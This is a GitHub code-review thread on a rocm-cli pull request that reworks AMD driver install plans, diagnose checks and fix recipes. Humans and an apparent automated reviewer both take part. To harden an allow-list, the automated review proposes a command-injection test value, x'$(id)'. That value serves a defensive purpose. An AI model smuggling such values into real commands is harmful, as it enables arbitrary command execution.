• os_id now goes through the same is_safe_shell_token allow-list as version_id/codename/the env override (driver_install.rs:943-945), centralizing the sanitization even though nothing interpolates os_id into a shell command today.
• runtime_install_finalize.rs:155's doc comment no longer lists amdgpu-install as a live plan type (not inline-commentable since that file wasn't in this PR's original diff).

Non-blocking — judgment calls, left as-is (replied inline on each)

• Empty ROCM_CLI_AMDGPU_DRIVER_VERSION is refused rather than treated as unset — intentional, now documented in a comment above resolve_repo_version_expr.
• Default driver version resolves to the floating latest alias rather than a pinned build — already flagged in this PR's "Open questions," shipped as a known follow-up.
• Windows no-op plan hardcodes repo_version_expr: "latest" — addressed via a clarifying comment rather than a behavior change, since this plan never produces commands.
• The Ubuntu 26.04 rendered-output test only pins wording (no 26.04 host available to verify against) — acknowledged.
• The Ubuntu 26.04 arm's Gherkin/e2e coverage gap (AGENTS.md §3) ships rather than being closed — acknowledged; closing it needs an injectable os-release override in the e2e harness, out of scope for this PR.

Full workspace cargo build, fmt --check, clippy --workspace --all-targets -D warnings, and cargo test --workspace are clean on the rebased branch.

Addressed in ab1a5a4 (fix-12 verify, SLES zypper non-interactive flags, Ubuntu 26.04 docs, os_id sanitization; judgment calls replied to inline). See the PR summary comment for details.

[jussielo-amd]

Review — needs work

Full review of the whole change. This implements most of #180's "Files to fix" list (driver-plan conversion to repo-native, marker rename, diagnose/fix repoint) and renames the two rocm examine --json install-method values, but does not close #180 — the PR's own "Scope" section already discloses it still targets repo.radeon.com/amdgpu/... rather than #180's repo.amd.com/amdrocm-* scheme, has no "removed path returns a clear message" behavior, and is unverified against ROCm 10.0. That partial-scope framing looks accurate and isn't a finding on its own.

Blocking

1. The new Ubuntu 26.04 arm matches this PR's own CI runner and breaks an existing, currently-asserted e2e scenario — confirmed live on this PR's head.
apps/rocm/src/driver_install.rs (the new ("ubuntu", "26.04") / ubuntu_native_archive branch), tests/e2e-cucumber/features/driver_install.feature:33-45 (driver-install-04).
The "E2E tests" check on ab1a5a47 is FAILURE (run 39576411958, job 119146704481): FAIL: 'driver-install-apt-repo-file-and-key-content' was expected to pass on this host but FAILED — a regression. The self-hosted Linux runner's real /etc/os-release is Ubuntu 26.04 ("resolute"), so rocm install driver --dkms --dry-run now resolves to ubuntu_native_archive (supported: false, no commands) instead of the apt repo-file/signing-key plan driver_steps.rs:34 asserts on. The scenario's own comment states the premise this PR invalidates: "Every bare-metal Linux lane in this repo ... runs Ubuntu, so this is always the apt plan in practice." This is distinct from the e2e gap the PR itself discloses (no new scenario for the 26.04 arm) — the problem here is that an existing scenario silently broke because the CI host itself now falls into the new arm.

2. check_7_stale_repos's verify command for non-apt/dnf/zypper hosts is a tautology that can never fail.
crates/rocm-core/src/diagnose.rs:1141-1146

let verify = match family {
    "apt" => "sudo apt update 2>&1 | tail -n 20".to_owned(),
    "dnf" => "sudo dnf clean all 2>&1 | tail -n 20".to_owned(),
    "zypper" => "sudo zypper refresh 2>&1 | tail -n 20".to_owned(),
    _ => "rocm examine --json | grep -q '\"rocm_install_method\"'".to_owned(),
};

rocm_install_method is a plain String field with no skip_serializing_if, so the JSON key is present in every rocm examine --json output regardless of host state. This verify command exits 0 unconditionally. New in this diff (base check_7 had one unconditional sudo apt update verify, no family split). The added drift-guard test only asserts the string excludes "apt"/"dnf"/"zypper", which this vacuous string trivially satisfies.

3. fix-12-installer's reworked verify step can pass on the pre-fix state.
crates/rocm-core/src/diagnose.rs:1560-1566, duplicated statically at crates/rocm-core/src/fix.rs:546

verify: "(dpkg -l 2>/dev/null | grep -qE 'rocm|amdgpu' || rpm -qa 2>/dev/null | grep -qE 'rocm|amdgpu') && rocminfo | head -n 5",

is_repo_native_installed (diagnose.rs:1497-1499) triggers this check on method == "apt" or "dnf", and those exact values are set by probe_rocm_install precisely by finding a rocm-matching package already installed via dpkg/rpm. So on that path, the verify step is guaranteed to already be true before any remediation command runs. The regex is also broader than the specific package the fix purges (amdgpu-dkms), and head -n 5's exit status swallows rocminfo's real status. This diff also changes the command from printing matches (| head -n 20) to suppressing them (grep -q), losing diagnostic detail a user could previously eyeball. Note: the PR body's "Open questions" describes this verify step as still checking "the repo marker file" — that no longer matches the code in this diff, so that passage doesn't address this finding.

4. New distro_id_like field is #[serde(skip)], silently breaking its only stated consumer for remote hosts.
crates/rocm-core/src/examine.rs:217-221 (declaration), crates/rocm-core/src/diagnose.rs:1448-1489 (repo_pkg_family, new consumer)
Both the field and its consumer are new in this diff. repo_pkg_family() falls back to openmpi::resolve_package_manager(&e.distro_id, &e.distro_id_like) when no repo marker file is present. rocm remote doctor deserializes a remote's examine --json output and feeds it straight into diagnose(); since the remote's own examine --json never emits distro_id_like either, every remotely-diagnosed host has distro_id_like == "". For a remote host recognized only via ID_LIKE (e.g. a RHEL/Fedora/SUSE derivative) with no leftover repo marker, repo_pkg_family() silently resolves to "unknown" and fix-12's per-family remediation commands are dropped — while the identical scenario works locally on the same machine. This also breaks precedent this file sets elsewhere (the comgr_* fields are explicitly kept serializable for exactly the remote-doctor case).

5. Empty-but-set ROCM_CLI_AMDGPU_DRIVER_VERSION is treated as malformed, refusing the whole plan — inconsistent with every other optional env var in this file.
apps/rocm/src/driver_install.rs:856-873
is_safe_shell_token("") returns false, so a set-but-empty override falls into the refusal arm with "not a well-formed amdgpu driver release." Every other optional env-var resolver in this same file treats empty-but-set as unset: resolve_rocdxg_verification (:623-627, .filter(|value| !value.is_empty())) and resolve_shell_default_template (:1664-1678, same filter, with a dedicated test resolve_shell_default_template_treats_empty_env_as_unset at :2416). A common "optional, blank means default" env-file convention would turn rocm install driver into a hard refusal here instead of falling back to "latest" like the rest of the file.

6. docs/testing.md:1624 cites driver_install.rs as a bare backtick path instead of a markdown link, per AGENTS.md §5.
The new sentence names driver_install.rs in backticks only, while the same file is correctly linked as [driver_install.rs](../apps/rocm/src/driver_install.rs) nine lines later (:1633, pre-existing) — so the new text breaks a convention the surrounding document already follows for this exact file.

7. examine.feature:122's edited comment names a retired env var and a default the current code can't produce, contradicting a comment added in the same commit.
The comment reads "...the raw ${ROCM_CLI_AMDGPU_VERSION:-7.2.4} shell placeholder" — this PR's only edit to that line filled in the literal 7.2.4. At head, driver_install.rs never reads ROCM_CLI_AMDGPU_VERSION at all; the default is now the literal "latest" via ROCM_CLI_AMDGPU_DRIVER_VERSION. examine_steps.rs:204, added 82 lines later in the same commit, correctly says the default is "latest" — directly contradicting this comment.

8. No Gherkin/e2e scenario covers the new malformed-ROCM_CLI_AMDGPU_DRIVER_VERSION refusal path, with no AGENTS.md §3-style justification comment.
apps/rocm/src/driver_install.rs:844-873 (resolve_repo_version_expr, invalid_driver_version_override)
Reachable via plain rocm install driver --dry-run on any Linux CI host — no gating needed. Unlike the Ubuntu-26.04 and dnf/zypper arms in this same diff, which each carry an explicit justification comment for their e2e gap, this one has neither a scenario nor a comment explaining the gap. A scenario here (including the empty-string case) would plausibly have caught finding 5 directly.

Decisions for the author

• Pinned (7.2.4) vs. floating (latest) driver-version default — the PR body raises this itself and asks for feedback; worth confirming this is the intended behavior given there's no deprecation window and the old default was pinned.
• RHEL/SLES repo path layout (dnf_repo_version_path / dnf_repo_baseurl, driver_install.rs:1596-1621) — the PR body already flags this as unverified against a live listing. One pass here raised the same concern independently from public AMD-docs summaries (not a primary source): the rhel/<point-release> vs el/<major> split may be carrying over the old bootstrap-RPM convention rather than the new direct-repo baseurl's actual layout. Worth confirming against a live repo.radeon.com/amdgpu/<version>/ listing before merge, since a wrong path 404s every RHEL/SLES install.
• fix-12's applicability condition may over-fire on distro-packaged (non-repo-native) ROCm hosts — also already flagged as an open question in the PR body (matches is_repo_native_installed's "apt"/"dnf" fallback arms). Flagging only so it isn't lost next to finding 3 above, which is a separate, already-confirmed defect in the same checker.

Positive signals

• is_safe_shell_token's charset restriction is applied uniformly at every site that interpolates an env-var override or os-release field into a shell command, backed by dedicated regression tests — no injection gap found.
• The amdgpu-install / AMDGPU_INSTALL_MARKERS / "tarball-or-other" removal is genuinely exhaustive — zero live references remain anywhere in the repo.
• fix-3's verify drift between diagnose.rs and the static fix.rs copy is caught and corrected in this same diff, with a new drift-guard test added to prevent recurrence — good practice, applied to exactly the kind of bug found in findings 2–3 above.

Deployment notes

• Breaking change (already disclosed in the PR body): rocm_install_method renames "amdgpu-install" → "repo-native" and "tarball-or-other" → "runfile-or-tarball", no deprecation window.
• ROCM_CLI_AMDGPU_VERSION / ROCM_CLI_AMDGPU_PACKAGE_RELEASE are removed with no replacement warning: existing automation pinning a version via either now silently installs the floating latest driver instead, with no error.

What this covered

Split-review pass across the whole diff (base acda519 → head ab1a5a47), grouped by coupling: driver_install.rs in full; examine.rs in full; diagnose.rs + fix.rs in full; all four touched e2e feature/step files in full; docs/catalog files cross-checked against fix.rs/diagnose.rs; the whole diff against AGENTS.md. Every top finding above was independently re-verified against the source at the exact commit, with line numbers pinned directly. CI was read live via gh pr view --json statusCheckRollup and the failing job's logs — one check ("E2E tests") is FAILURE as analyzed above; all others (build-and-test, clippy, CodeQL, commit-signatures+sign-off, coverage, docs, skillscope) are SUCCESS. Issue #180 was retrieved by identifier for scope reconciliation. Findings below 70% confidence after verification (mostly comment-accuracy nits) were dropped per usual review standards and aren't listed here.

[juhovainio]

Pushed 651a6b5 addressing all 8 blocking findings from the review of ab1a5a4:

1. Ubuntu 26.04 breaks driver-install-04 — the driver plan builder now treats this release (no published repo.radeon.com/amdgpu suite yet) as a ubuntu_native_archive host; the e2e scenario and step assertion now branch on whichever policy the real host actually produces instead of hard-coding one Ubuntu release.
2. check_7_stale_repos's fallback verify was a tautology — for non-apt/dnf/zypper hosts it now asserts each flagged repo file is actually gone, instead of grepping a JSON key (rocm_install_method) that's present in every examine --json output regardless of host state.
3. fix-12-installer's verify could pass on pre-fix state — now requires dpkg's ^ii installed-status line, not just a bare name match, in both diagnose.rs and the static fix.rs catalog twin. A half-configured package (this fix's own target symptom) no longer satisfies the "post-fix" check before any remediation runs. Added a regression test for this.
4. distro_id_like was #[serde(skip)], silently breaking rocm remote doctor — un-skipped it (it's now part of the JSON wire output, same precedent as comgr_*/hip_*), added #[serde(default)] so older remote CLI versions (and the existing fixture) that don't emit this field still deserialize fine, and updated the wire-contract test. Added a round-trip test proving parse_examination carries it now.
5. Empty ROCM_CLI_AMDGPU_DRIVER_VERSION was treated as malformed — now resolves as unset, consistent with the sibling resolvers.
6. docs/testing.md bare backtick path — now a markdown link.
7. examine.feature:122 stale comment — fixed the retired env var name and wrong default.
8. No coverage for the malformed-version refusal path — added e2e scenario + unit test coverage.

Verified with cargo fmt --check, cargo build --workspace, cargo clippy --workspace --all-targets -- -D warnings, and cargo test --workspace --all-targets.

Decisions I left for you rather than guessing at

• Pinned vs. floating driver-version default — didn't change this; it's a product call about update cadence vs. reproducibility, not something the diff's own logic dictates one way on.
• RHEL/SLES repo path layout (dnf_repo_version_path/dnf_repo_baseurl, driver_install.rs:1596-1621) — left as-is; changing it without a RHEL/SLES host to verify against risked trading one unverified layout for another.
• fix-12's applicability condition possibly over-firing on distro-packaged hosts — left unchanged; narrowing is_repo_native_installed's gating is a behavior change to when the fix fires at all, separate from the verify-correctness fix in Migrate Python environment management from pip to uv #3 above, and deserves its own look rather than a drive-by tweak.

Happy to take a pass at any of these three if you'd rather not leave them open.

Commit 651a6b5 addresses all 8 blocking findings from this review (see PR summary comment). Re-requesting review.

[jussielo-amd]

Thanks for tackling this one, it's clearly a careful piece of work — the shell-injection hardening on os_id/version_id/codename/the new ROCM_CLI_AMDGPU_DRIVER_VERSION override via is_safe_shell_token looks solid, the repo_version → repo_version_expr rename left no stale references, the SLES zypp marker paths line up with what sles_driver_plan actually writes, and the new e2e/unit coverage is appreciated.

I found one thing that should block merge, and one that shouldn't but is worth a follow-up.

Blocker: crates/rocm-core/src/diagnose.rs:1151 (check_7_stale_repos) — when the host's package-manager family can't be resolved to apt/dnf/zypper and no repo markers were recorded, the fallback verify command is built by joining an empty repos iterator with " && ", which produces an empty string. This is reachable in practice: a symptom matching KEYWORDS_REPO_BROKEN alone is enough to clear MIN_SCORE_FOR_MATCH and trigger fix-7. The result is that rocm fix/rocm diagnose present a diagnosis whose verify step is just blank, instead of a real, falsifiable post-condition. A sensible fallback (a no-op check, or a generic repo-marker check) when repos is empty would close this.

Non-blocking: the apt/dnf/zypper refresh-command dispatch is duplicated verbatim four times (around lines 1113, 1129, 1531, 1556) across check_7_stale_repos and check_12_repo_native_broken, rather than living in one shared helper. It's not a bug today, but it's a drift risk — this very PR already had to update one zypper command (sudo zypper refresh → sudo zypper --non-interactive refresh) in one spot, and a similar future tweak could easily miss one of the other three copies, leaving inconsistent remediation text between the two checks. Factoring this into something like fn refresh_command_for_family(family) -> Option<&'static str> would remove that risk. No need to hold up this PR for it.

[rominf]

🔴 Automated review · pr-review-watcher · ab1a5a4

This automation never files a GitHub approval, so no approving review will
appear here whatever the outcome — the merge decision stays with a human
reviewer.

Informational — this describes commit ab1a5a47, not the current head. The branch moved to 651a6b54 (a different tree) while this review ran, and that commit changes several of the areas below. Some findings may already be addressed there. Line references are to ab1a5a47 and are not attached to the diff. This comment does not gate the merge, and no change request was filed with it. The new head will be reviewed in a later round.

Review — needs work

Full review of the whole change.
Implements the driver-plan, examine, diagnose and fix parts of #180, not the repo.amd.com amdrocm-* source, the "removed path" message, or the ROCm 10.0 verification. The PR is nonetheless linked to close #180 (see Blocking).

Blocking

• The new scenario driver-install-04 fails on CI's own hosted lane, and the "no lane can reach the 26.04 arm" claim is false — tests/e2e-cucumber/features/driver_install.feature:33-45, tests/e2e-cucumber/tests/e2e/driver_steps.rs:21-62, apps/rocm/src/driver_install.rs:981-998, docs/testing.md:1619-1626

  • The required E2E tests job fails at this head (run 39576411958). It reports FAIL: 'driver-install-apt-repo-file-and-key-content' was expected to pass on this host but FAILED — a regression.
  • That runner's image is ubuntu-26.04, so the plan comes back as policy: ubuntu_native_archive, supported: false, and the step's linux_official_amd_dkms_wrapper assertion fails.
  • The other two failures in that run are xfails that were reconciled as expected. This failure comes from a scenario this PR adds.
  • The runner image decides which side is right. It contradicts three claims:
    • the feature comment, which says the hosted lane "is always the apt plan in practice";
    • the in-code TODO and docs/testing.md, which say "no lane or test host can reach this arm through the CLI";
    • the PR's open question on 26.04 e2e coverage.
  • The hosted lane already reaches the 26.04 arm.
  • Confidence 100 · logic · Fix:
    • Gate driver-install-04 to hosts in the apt matrix, or xfail it on 26.04.
    • Add a scenario on the hosted lane that asserts the 26.04 ubuntu_native_archive output. That also covers the §3 scenario gap the code comment admits.
    • Correct the three comments/docs.

• Two fix verify commands this change writes cannot fail — crates/rocm-core/src/diagnose.rs:1145, the fix-12 verify in check_12_repo_native_broken, crates/rocm-core/src/fix.rs:546

  • fix-7, unknown family: the verify is rocm examine --json | grep -q '"rocm_install_method"'. rocm_install_method is always serialized (examine.rs:254 has no skip_serializing_if), so this check succeeds whatever state the repos are in.
  • fix-12: the verify is dpkg -l | grep -qE 'rocm|amdgpu' || rpm -qa | grep -qE …, followed by && rocminfo | head -n 5. It passes in exactly the cases it should catch:
    • dpkg -l also lists half-configured (iF/iH) and rc rows, which is the broken state this fix targets;
    • the pattern also matches stock packages such as xserver-xorg-video-amdgpu, libdrm-amdgpu1 and xorg-x11-drv-amdgpu;
    • rocminfo | head returns head's exit status, so a failing rocminfo still passes.
  • The commit message says this verify now "query[s] real dpkg/rpm package state … so it could [no longer] report success with nothing actually installed". It does not.
  • Confidence 85 · logic · Fix:
    • For fix-12, query the specific package's status, e.g. dpkg-query -W -f='${Status}' amdgpu-dkms | grep -q 'install ok installed' || rpm -q amdgpu-dkms, then rocminfo >/dev/null.
    • For fix-7 on an unknown family, emit no verify, or check the repo files that remain.

• Remediation names rocm install driver --dkms --yes on hosts where that command plans nothing — crates/rocm-core/src/diagnose.rs:1139-1140,1552-1555, crates/rocm-core/src/diagnose.rs:849, fix-12 recipe in crates/rocm-core/src/fix.rs

  • fix-12 always ends with rocm install driver --dkms --yes. fix-7 and fix-3 point at rocm install driver --dkms.
  • build_driver_install_plan_at returns a non-mutating supported: false plan on several hosts:
    • Ubuntu 26.04, which this PR itself makes non-mutating;
    • Fedora, openSUSE Leap, Arch, and unlisted versions.
  • On those hosts the advice does not clear the condition. On pacman hosts it is the only runnable line fix-12 prints.
  • AGENTS.md §3: "remediation advice naming a command — the named command must exist, accept those flags, and actually clear the condition that printed it". No test asserts that.
  • Confidence 85 · logic · Fix: resolve the driver plan's supported before printing the reinstall line. Where it is unsupported, print the plan's reason instead.

• New branches that no test exercises (confirmed by mutation) — apps/rocm/src/driver_install.rs:590-594,943,1133,1021-1029, dnf_driver_plan, fix-12 scoring in crates/rocm-core/src/diagnose.rs, crates/rocm-core/src/examine.rs:2044. Each mutation below left the suite green:

  • Allow-list widened — is_safe_shell_token's set widened to ._-'$();/. Every hostile fixture contains a space, so a space-free payload like x'$(id)' is never tried. Reproduced here: 70 driver_ tests ran, all green.
  • ID filter removed — the new os_id allow-list filter. Reproduced here: same run.
  • Unreadable os-release branch — resolve_repo_version_expr() in build_driver_install_plan_read's branch replaced by "latest". The new doc comment exists to promise this branch refuses a bad override.
  • 26.04 reboot flag — reboot_required in the 26.04 arm flipped to true.
  • rpm --import RHEL-only — the key import made RHEL-only. The Oracle, Rocky and ID_LIKE dnf tests stayed green.
  • fix-12 scoring — the +20 repo-native bonus set to 0. Full cargo test -p rocm-core --lib run: 771 passed.
  • Quarantine filter at the call site — probe_rocm_install reverted to the old contains check. Only the helper is_live_rocm_repo_file_name is tested.
  • Also driver_plan_rejects_shell_metacharacters_in_version_override:2805-2810: its "no command contains pwned" check follows assert!(plan.commands.is_empty()) and cannot fail.
  • Confidence 100 · logic · Fix: add a test per branch:
    • space-free injection payloads for the override, VERSION_ID, VERSION_CODENAME and ID;
    • an Unreadable read combined with a bad override;
    • !reboot_required on 26.04;
    • rpm --import in a non-RHEL dnf test;
    • a score assertion for fix-12;
    • a .bak repo file through probe_rocm_install.

• Remove amdgpu-install as a rocm-cli installation method in ROCm 10.0 #180 is linked to close, but the PR says it does not close it; the description is also out of date — PR description

  • closingIssuesReferences lists Remove amdgpu-install as a rocm-cli installation method in ROCm 10.0 #180, so merging closes it. The description's Scope section says "This does not close Remove amdgpu-install as a rocm-cli installation method in ROCm 10.0 #180 on its own" and lists three acceptance criteria still open. Remove amdgpu-install as a rocm-cli installation method in ROCm 10.0 #180 is OPEN, and its first criterion is repo.amd.com amdrocm-*, which this change does not do.
  • The description also misstates or omits parts of the change:
    • it says "New e2e scenario (examine-20)"; the diff adds examine-29 and driver-install-04;
    • it places the dnf/sles plan changes in apps/rocm/src/main.rs; they are in driver_install.rs;
    • it says id-like fields are sanitised; ID_LIKE is not filtered;
    • the fix-12 open question still says verify "checks for the repo marker file", which the head no longer does;
    • it does not mention the zypper --non-interactive/--gpg-auto-import-keys change, the multi-family fix-7 rewrite, the fix-3 rationale/verify change, or the diagnose ID_LIKE widening.
  • Confidence 85 · mechanical · Fix: unlink Remove amdgpu-install as a rocm-cli installation method in ROCm 10.0 #180 from the closing references, which matches the stated scope, and bring the description up to date with the diff.

Non-blocking

• distro_id_like is lost on the remote doctor path — crates/rocm-core/src/examine.rs:220, apps/rocm/src/remote/doctor.rs:51. The field is #[serde(skip)], so a remote diagnosis rebuilt from examine --json always has an empty ID_LIKE. The new ID_LIKE fallback (e.g. Zorin→apt, Nobara→dnf) works locally but resolves to unknown remotely, and no test covers the remote path. Confidence 85 · logic · Fix: serialize it with #[serde(default)], or document the limitation.
• fix-7's recipe verify starts with prose that is printed as a command — crates/rocm-core/src/fix.rs:423. "Run only the line matching your package manager:" is rendered with a $ prefix by the fix printer. Confidence 80 · mechanical · Fix: keep verify to command lines and move the instruction to notes.
• Comments that are stale or wrong:
  • driver_install.rs:1021 and :2727 say checks renders as post_reboot_checks:. The CI output above shows post_install_checks: for this arm.
  • driver_install.rs:876 links [`build_driver_install_plan`], and the 26.04 TODO cites it too; no such function exists.
  • examine.feature:434 says rocm_install_method "drives fix-12's remediation choice". It only adds evidence and score; repo_pkg_family picks the commands.
  • docs/testing.md:1611 says driver-install-04 asserts what the plan "writes", but it is a dry run.
  • The --accept-eula keyword (diagnose KEYWORDS_DPKG_BROKEN) and the reference.md fix-12 row still cite a flag that only amdgpu-install has.
  • Confidence 85 · mechanical.
• The retired variables are ignored silently — README.md:447-450, resolve_repo_version_expr. A user who still exports ROCM_CLI_AMDGPU_VERSION=7.2.4 now gets latest with no notice. That runs against the PR's own "refuse rather than silently fall back" rationale for the new variable. Confidence 70 · logic · Fix: warn when either retired variable is set.
• No Gherkin scenario covers the changed rocm fix / rocm diagnose output for fix-7 and fix-12 (AGENTS.md §3). The PR text neither names an existing @id: nor says why no scenario is needed. Confidence 70 · mechanical.
• fix-12's drift guard compares only the first three apt lines — fix_12_apt_commands_match_the_diagnose_copy_verbatim. The duplicated verify, notes and dnf/zypper lines can drift unnoticed. Confidence 80 · mechanical · Fix: compare those as well.

Decisions for the author

• Floating latest vs a pinned driver default — tradeoff
  • latest: keeps up with AMD releases without bumping a constant.
  • Pinned, or resolved to a concrete build at plan time: the plan a user approves, the repo_version: line and the persisted commands keep naming what gets installed. Reconcile can then tell installs apart, and the RHEL/SLES path layout (dnf_repo_version_path, unverifiable from here) stays fixed.
  • With latest, examine-12 ("…is a concrete version") now passes on the literal latest after its step was loosened. Its title claims more than it checks.
  • The PR raises this as an open question; it needs a decision before merge, not after.

Positive signals

• resolve_repo_version_expr refuses a malformed override with a reason that names the variable, rather than silently using latest. The unreadable-os-release branch is routed through the same check, so the two entry points cannot diverge.
• The SLES flow adds --non-interactive and --gpg-auto-import-keys, and a comment explains why rpm --import alone does not stop zypper's repo-key prompt.
• The new drift guards drive diagnose() itself rather than comparing against a hardcoded literal. fix_3_verify_matches_the_diagnose_copy_verbatim caught a real existing divergence (head -n 5 vs head -n 20).

Deployment notes

• Breaking JSON change: in rocm examine --json, rocm_install_method changes amdgpu-install→repo-native and tarball-or-other→runfile-or-tarball.
• Env vars removed: ROCM_CLI_AMDGPU_VERSION and ROCM_CLI_AMDGPU_PACKAGE_RELEASE are no longer read; ROCM_CLI_AMDGPU_DRIVER_VERSION replaces them. It takes an amdgpu release, not a ROCm version.
• Default driver source: now floats on repo.radeon.com/amdgpu/latest/....
• Ubuntu 26.04 hosts, including the GitHub-hosted runner image, get a non-mutating supported: false driver plan.

What this covered

• Read:
  • every file in prw-base...HEAD (merge-base acda519…, head ab1a5a4), split across two independent workers grouped by coupling (driver-install side; diagnose/fix/examine side);
  • the callers that matter (remote/doctor.rs, the fix printer, openmpi::resolve_package_manager);
  • a repo-wide grep for leftover amdgpu-install and old env-var references (none live);
  • CI via gh and the failing E2E tests job log;
  • the PR description and Remove amdgpu-install as a rocm-cli installation method in ROCm 10.0 #180 (title/body/state only).
• Ran:
  • cargo test -p rocm --bin rocm driver_: 70 tests ran, with the shell-token and ID mutations reproduced;
  • cargo test -p rocm-core --lib: 771 tests, with the scoring and quarantine mutations;
  • cargo xtask catalog --check: passes.
• Did not run or could not check:
  • The repo.radeon.com layout under latest for RHEL/SLES: no network fetch.
  • CI: the W7900 lane was still queued and Strix Halo, Ubuntu, release still in progress, so those are missing evidence.
  • Prior-changes pass: earlier reviews are deliberately not read here.
• Incidents:
  • No prompt-injection content was found.
  • One worker briefly wrote a log under ~/.cache outside the checkout and deleted it at once.
• Not reconciled against any PR discussion here.

---

Round note: this automation holds no change request on this PR, and none was filed this round. Until the next round, the blocking findings above are not gating. The E2E tests failure at ab1a5a47 was driver-install-04; it did not fail on recent main, whose E2E tests failures are different scenarios. Three replies (6269111741, 6313866080, 6318205357) answer another reviewer's findings and ask nothing of this automation; each was acknowledged with a reaction. Objections standing from the round at 6e1a6f41: these were found again blind here: driver-install-04 failing (different cause now), fix-12's reinstall line, and the description mismatch. distro_id_like was also found again, as non-blocking. The Gherkin-coverage objection was found again, but rated non-blocking this round. These were not found again: fix-7's apt-only recipe, check_7's apt commands on unknown hosts (now superseded by the always-true verify finding), and the non-UTF-8 override falling back to latest. Because this round was superseded, none of them was put to the reviewer to settle. They carry to the next round, which reviews 651a6b54.

[rominf]

🔴 Automated review · pr-review-watcher · 651a6b5

This automation never files a GitHub approval, so no approving review will
appear here whatever the outcome — the merge decision stays with a human
reviewer.

Review — needs work

Full review of the whole change.
Implements the driver-plan, examine, diagnose and fix parts of #180 (the old installer path removed; repo-native installs on repo.radeon.com/amdgpu). It does not implement the repo.amd.com amdrocm-* switch, the "removed path gives a clear message" behavior, or ROCm 10.0 verification. The description says all three are out of scope.

Each finding is marked new (first raised this round) or standing (raised by an earlier automated round and still holding).

Blocking

• [standing] fix-12's verify passes on a host with no ROCm at all — crates/rocm-core/src/diagnose.rs:1584, crates/rocm-core/src/fix.rs:550

  • The command is (dpkg -l | grep -E '^ii' | grep -qE 'rocm|amdgpu' || rpm -qa | …) && rocminfo | head -n 5.
  • 'rocm|amdgpu' matches stock packages such as libdrm-amdgpu1. In a real broken state it also matches any healthy rocm-* package sitting next to the half-configured amdgpu-dkms.
  • | head -n 5 makes the exit code head's, so a missing or failing rocminfo cannot fail the check.
  • The comment at diagnose.rs:1578-1583 says the ^ii filter means the check is "not already true before the fix runs". That is false.
  • repo_native_broken_verify_requires_dpkg_status_not_just_name_presence only pins the substring grep -E '^ii'. Its name claims a property it cannot fail on.
  • Confidence 100 · logic
  • Verified: running the exact string with sh -c on this host (no ROCm, no rocminfo, libdrm-amdgpu1 installed) printed rocminfo: not found and exited 0.
  • Fix: query the targeted package's state, e.g. dpkg-query -W -f='${Status}' amdgpu-dkms | grep -q 'install ok installed', plus dkms status amdgpu | grep -q installed && rocminfo >/dev/null. Replace the string-pin test with one that exercises the verify's outcome.

• [new] New env-setting tests race six older tests that read the same variable unguarded — apps/rocm/src/driver_install.rs:2249, :2271, :2305, :2326, :2360, :2554

  • driver_plan_rejects_shell_metacharacters_in_version_override (2786) and its two neighbours set ROCM_CLI_AMDGPU_DRIVER_VERSION while holding ScopedTestEnv.
  • The six named tests build Ubuntu plans without taking that guard, so a concurrent read turns their plan into invalid_driver_version_override with no commands.
  • The base had no test that set any AMDGPU variable, so this change introduces the race.
  • nextest's one-process-per-test on Linux CI hides it. The Windows lane runs cargo test.
  • Confidence 100 · logic
  • Verified by a worker on the unmodified head: 1 failure in 30 runs of cargo test -p rocm --bin rocm driver_install:: (driver_plan_executor_defers_verify_when_reboot_is_required). A separate run failed …off_root_still_escalates… with "ubuntu: expected privileged steps".
  • Fix: take ScopedTestEnv::with_amd_overrides_cleared() in all six tests.

• [standing] The widened +20 fix-12 score bonus is untested, and a test comment says it is tested — crates/rocm-core/src/diagnose.rs:1522-1524, test comment at :7354

  • The bonus condition changed from method == "amdgpu-install" to is_repo_native_installed(method), which now also accepts apt/dnf.
  • The test comment says "evidence line and +20 score bonus must fire", but the test asserts only the evidence line.
  • Confidence 100 · logic
  • Verified: with the bonus deleted, cargo test -p rocm-core gave 772 passed, 0 failed.
  • Fix: assert the confidence difference for one symptom between a repo-native host and a runfile-or-tarball host.

• [standing] No test reaches the override check on the unreadable-os-release path — apps/rocm/src/driver_install.rs:1135-1138

  • resolve_repo_version_expr's doc (838-843) promises both paths refuse a malformed override identically.
  • Confidence 100 · logic
  • Verified: replacing that call with "latest".to_owned() left all 69 driver_install:: tests green.
  • Fix: add a test combining OsRelease::Unreadable with an invalid override, asserting policy == "invalid_driver_version_override".

• [standing] The malformed-override refusal has no Gherkin scenario — apps/rocm/src/driver_install.rs:844-878, tests/e2e-cucumber/features/driver_install.feature

  • The refusal is user-observable: a supported: false plan with a reason naming the variable.
  • AGENTS.md §3 requires a scenario for that. No feature file mentions invalid_driver_version_override or ROCM_CLI_AMDGPU_DRIVER_VERSION, and the PR text does not justify the gap.
  • Commit 651a6b5 says it adds "e2e/unit coverage for the malformed-version refusal path". Only unit tests were added.
  • Confidence 85 · mechanical
  • Fix: add a mock-lane scenario that sets an invalid override and asserts both the refusal reason and that no commands are planned.

• [standing] driver-install-04 picks its expected outcome from the output it is checking, and the three documents disagree on whether the 26.04 arm is reached — tests/e2e-cucumber/tests/e2e/driver_steps.rs:43, apps/rocm/src/driver_install.rs:992-1000, tests/e2e-cucumber/features/driver_install.feature:33-46, docs/testing.md:1615-1627

  • if output.contains("policy: ubuntu_native_archive") { …; return; } means 22.04/24.04 wrongly routed to the native-archive arm stays green.
  • The step does not check the exit code, and fails on any non-Ubuntu host that matches @requires-os:linux @requires-bare-metal.
  • The driver_install.rs comment and the feature-file comment both say the self-hosted GPU lane reports 26.04, so the arm "has e2e coverage too". docs/testing.md says it "has no e2e/Gherkin coverage… no lane… can reach this arm". docs/testing.md also still says the scenario "asserts the apt repo file and signing key".
  • In this head's CI the scenario appears only on the MI300X lane, whose log reports os: Ubuntu 24.4.0. So the 26.04 branch did not run in any lane visible here, and the code comment's coverage claim is the unsupported side.
  • The comment at 992-1000 also narrates PR review history ("this PR's own… runner", "mid-review"), which goes stale on merge.
  • AGENTS.md §5 requires a behavior claim to agree across all the places it is made.
  • Confidence 85 · mechanical
  • Fix:
    • Choose the expected arm from the host's own /etc/os-release VERSION_ID, assert rc == 0, and gate out non-Ubuntu hosts.
    • Make the three texts agree on what CI actually covers, and drop the PR history from the code comment.
    • The @id:driver-install-apt-repo-file-and-key-content tag no longer describes the scenario.
  • Round note, added after the review when the standing objection was put to the reviewer (anchored evidence, not a blind finding): the hosted E2E tests job at this head (image ubuntu-26.04) did run driver-install-04 and passed, so the 26.04 arm is reached in CI. The contradiction stands, but the stale side is the reverse of the bullet above: docs/testing.md and the PR description are wrong to say no lane reaches the arm, and the code and feature comments are wrong only about which lane (the hosted runner, not the self-hosted GPU lane).

